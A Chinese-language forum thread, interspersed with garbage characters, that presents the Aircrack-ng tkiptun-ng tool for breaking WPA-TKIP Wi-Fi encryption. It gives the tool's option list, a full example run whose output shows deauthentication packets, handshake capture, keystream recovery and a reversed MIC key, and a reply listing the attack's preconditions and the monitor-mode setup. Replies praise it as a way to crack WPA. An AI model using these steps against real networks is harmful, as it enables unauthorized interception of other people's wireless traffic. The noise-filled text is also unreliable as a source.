Aircrack-ng里的WPA-TKIP终结工具的使用说明(wpa已经被攻破)

dangdidiqq

$ P) ^9 z7 d1 ~, y使用方法: tkiptun-ng <options> <replay interface>
' b9 t* |6 G  j过滤选项:

• -d dmac : MAC address, 目的地址
• -s smac : MAC address, 源地址
• -m len : minimum packet length
• -n len : maximum packet length
• -t tods : frame control, To DS bit
• -f fromds : frame control, From DS bit
• -D : disable AP detection

# a  ]; w3 x' r3 A! jReplay 攻击选项:

• -x nbpps : number of packets per second
• -a bssid : set Access Point MAC address
• -c dmac : set Destination MAC address
• -h smac : set Source MAC address
• -F : choose first matching packet
• -e essid : set target AP SSID

) [3 ^6 |4 N: a4 O) j# p& FDebug options:

• -K prga : keystream for continuation
• -y file : keystream-file for continuation
• -j : inject FromDS packets
• -P pmk : pmk for verification/vuln testing
• -p psk : psk to calculate pmk with essid

Source options:

• -i iface : capture packets from this interface
• -r file : extract packets from this pcap file

• --help : Displays this usage screen

  @% K( y* `/ n6 \
8 h1 T9 I4 O; a: t5 O, A
% T  o6 A. P+ N' O8 r* T4 v+ b9 ~2 R$ X
8 W5 i4 W* c+ H' p4 ]+ v此工具名称为 tkiptun-ng，在aircrack-ng 1.0 rc2 第一次添加，当时不够完善，并没有能起到作用。

/ V. q: M, {9 J: G# ]: J
( h! |0 H  f* w( N此工具PJ针对 wpa tkip加密，并且路由器开启qos（带宽限制，流量控制，协议控制等，老路由器不支持此功能）

相信有点基础的都看的懂，我没有使用过，因为我这里没有这种ap。

附加完整工具下载，论坛上有人发过for linux版本，我这里再补上for windows版本
; D6 i5 h: Q+ y# D. f7 R, f
windows版本里工具已经非常齐全，包括监听攻击PJ，和linux里的一样一样的，可以缺少了最关键的“驱动”，我把这个提出来，希望有人能把驱动开发出来，这样就不用两个系统转换那么麻烦了。

( q# X! ]; ?0 d8 P本帖隐藏的内容需要回复才可以浏览

xbzxjks

感谢楼主的分享，好东西！！！！

dangdidiqq

Input: 输入
; I* l# ~* L3 w0 R7 Y- `8 p

4 _' `5 c% n0 y7 Q. v; P# G8 N tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0
) w/ Y$ l/ W6 N* [/ s
Output: 输出
/ q( q7 Z. V0 {1 J
The interface MAC (00:0E:2E:C5:813) doesn't match the specified MAC (-h).
      ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
Blub 2:38 E6 38 1C 24 15 1C CF
5 `" ~7 I6 D# w! P, E9 k! l7 ^ Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
) J% X3 j( r5 B- n4 x; m! u9 i 15:06:48  Michael Test: Successful
15:06:48  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
15:06:48  Found specified AP
15:06:48  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
- T. h8 d* H0 ~% D3 k4 x 15:06:54  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
0 e0 F. _+ }+ Q# y! ` 15:06:56  WPA handshake: 00:14:6C:7E:40:80 captured
' s; k" y7 T- I 15:06:56  Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05  Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05  Got the answer!
7 F! Z# Y8 h& e9 ^ 15:07:05  Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

15:07:25  Offset   99 ( 0% done) | xor = B3 | pt = D3 |  103 frames written in 84468ms
, }; @8 Q1 }) Z5 t* m/ A: `. l$ J# ]; t 15:08:32  Offset   98 ( 1% done) | xor = AE | pt = 80 |   64 frames written in 52489ms
15:09:45  Offset   97 ( 3% done) | xor = DE | pt = C8 |  131 frames written in 107407ms
4 o# O6 R+ i* C5 Y+ H8 l' { 15:11:05  Offset   96 ( 5% done) | xor = 5A | pt = 7A |  191 frames written in 156619ms
# w8 Z( Z$ }. B; z 15:12:07  Offset   95 ( 6% done) | xor = 27 | pt = 02 |   21 frames written in 17221ms
15:13:11  Offset   94 ( 8% done) | xor = D8 | pt = AB |   41 frames written in 33625ms
! j" A1 v  Y8 l! O 15:14:12  Offset   93 (10% done) | xor = 94 | pt = 62 |   13 frames written in 10666ms
7 z+ F: S% E- L; g! X. J 15:15:24  Offset   92 (11% done) | xor = DF | pt = 68 |  112 frames written in 91829ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
1 h# s# `% B9 j9 B. w 15:18:13  Offset   91 (13% done) | xor = A1 | pt = E1 |  477 frames written in 391139ms
15:19:32  Offset   90 (15% done) | xor = 5F | pt = B2 |  186 frames written in 152520ms
  n5 M, Y: w+ K0 s Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
; e1 `' @. K" J5 {+ O 15:22:09  Offset   89 (16% done) | xor = 9C | pt = 77 |  360 frames written in 295200ms
+ Y  A4 u5 \' X Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
2 e3 x! e; w% a 15:26:10  Offset   88 (18% done) | xor = 0D | pt = 3E |  598 frames written in 490361ms
15:27:33  Offset   87 (20% done) | xor = 8C | pt = 00 |  230 frames written in 188603ms
15:28:38  Offset   86 (21% done) | xor = 67 | pt = 00 |   47 frames written in 38537ms
3 @. {* f* Y+ L! t/ |$ B3 M4 j 15:29:53  Offset   85 (23% done) | xor = AD | pt = 00 |  146 frames written in 119720ms
) N+ B5 f: y+ l: r" }. A& ?! W 15:31:16  Offset   84 (25% done) | xor = A3 | pt = 00 |  220 frames written in 180401ms
15:32:23  Offset   83 (26% done) | xor = 28 | pt = 00 |   75 frames written in 61499ms
3 B7 o$ m, [( Z5 v7 E' a  d 15:33:38  Offset   82 (28% done) | xor = 7C | pt = 00 |  141 frames written in 115619ms
7 _; \2 F8 J# g2 n5 N 15:34:40  Offset   81 (30% done) | xor = 02 | pt = 00 |   19 frames written in 15584ms
* Y* A+ N- c  `: l4 s% k& c 15:35:57  Offset   80 (31% done) | xor = C9 | pt = 00 |  171 frames written in 140221ms
15:37:13  Offset   79 (33% done) | xor = 38 | pt = 00 |  148 frames written in 121364ms
% O! d* D9 d2 v" ?& @% d: N- \ 15:38:21  Offset   78 (35% done) | xor = 71 | pt = 00 |   84 frames written in 68872ms
  @0 ^4 T% e) _+ p Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:40:55  Offset   77 (36% done) | xor = 8E | pt = 00 |  328 frames written in 268974ms
5 H, o* I3 g9 [$ v Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
  P5 e2 x& `; x9 ]7 j& j' h" n 15:43:31  Offset   76 (38% done) | xor = 38 | pt = 00 |  355 frames written in 291086ms
9 _% d. }  q1 B4 }6 i8 f 15:44:37  Offset   75 (40% done) | xor = 79 | pt = 00 |   61 frames written in 50021ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05  Offset   74 (41% done) | xor = 59 | pt = 00 |  269 frames written in 220581ms
15:48:30  Offset   73 (43% done) | xor = 14 | pt = 00 |  249 frames written in 204178ms
3 L1 H+ r( [# O( A" f 15:49:49  Offset   72 (45% done) | xor = 9A | pt = 00 |  183 frames written in 150059ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:52:32  Offset   71 (46% done) | xor = 03 | pt = 00 |  420 frames written in 344400ms
15:53:57  Offset   70 (48% done) | xor = 0E | pt = 00 |  239 frames written in 195980ms
: s( u3 M. W3 g, \) Q Sleeping for 60 seconds.36 bytes still unknown
/ @4 q, L! o6 I: y) s: B ARP Reply
Checking 192.168.x.y
1 x0 R: A& h! l$ }5 O. u" l! j0 i 15:54:11  Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66
- `' h5 E$ M, {6 D$ ^
Saving plaintext in replay_dec-0305-155411.cap
Saving keystream in replay_dec-0305-155411.xor
3 i+ `8 {1 B! j. `$ c 15:54:11  
Completed in 2816s (0.02 bytes/s)
: n9 n- S7 E& v$ K
15:54:11  AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42
' d& }6 X2 N. N$ L 15:54:11  Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
% X6 h! K' r- A; P# _; w 15:54:11  Sent encrypted tkip ARP request to the client.
15:54:11  Wait for the mic countermeasure timeout of 60 seconds.

twb777

好帖，可以破WPA

twb777

首先要具备3点必备的攻击条件
1 客户端和接入点必须使用WPA TKIP 而且客户端必须连接
2 客户端和接入点必须使用的网络协议地址的IPv4,z!z%[&#65533;p(}bIb
" j' b7 e, J4 T1 K3一个长期存在的时间延长键（重新输入间隔）必须设定的接入点。在大多数调制解调器/无线路由器使用TKIP ，这一时期是默认情况下设置为3600秒，从而使攻击(U)TI8B\;Ow&H+a;q
. ?7 ~7 G2 j$ y/ ~以上3点基本上是没有问题了下面是就是攻击了4l?)S%L*ITUU
( f" ~" q' Y$ u: n7 ?7 ~airmon-ng a 首先把网卡监视模式打开:输入airmon-ng start wlan0 注意我的网卡端口是wlan0不同的网卡端口都不一样可以用ifconfig -a 进行查看(E$b8c0}/F`$d
9 V5 [) r/ e, O  D输入后出现的内如如下
, O* r, Y8 f4 `/ l) e, Z; y# [PID     Name
3 x) y! {2 f! }; k  l2954    dhcpcd
! d( d9 j$ F; p# d2uDm;J0g@


Interface       Chipset         Driver-p#}3W K7X"aPGo
0 e6 J" W3 j& z# ff.lh qt|B

4 J" m+ H+ q+ L; o  k' [) hwlan0           RTL8187         r8187 (monitor mode enabled)

acj

实际PJwpa加密的很简单

dangdidiqq

怎么都是乱码你从哪里复制过来的

liuzcb

{:3_62:}...................................

dangdidiqq

我顶上去。。。

sulsan

我跳水，扑通，扑通

sdypgl

想学习用这个，可也太贵了吧

like888

额 学习一下。。。

dangdidiqq

不能沉不能沉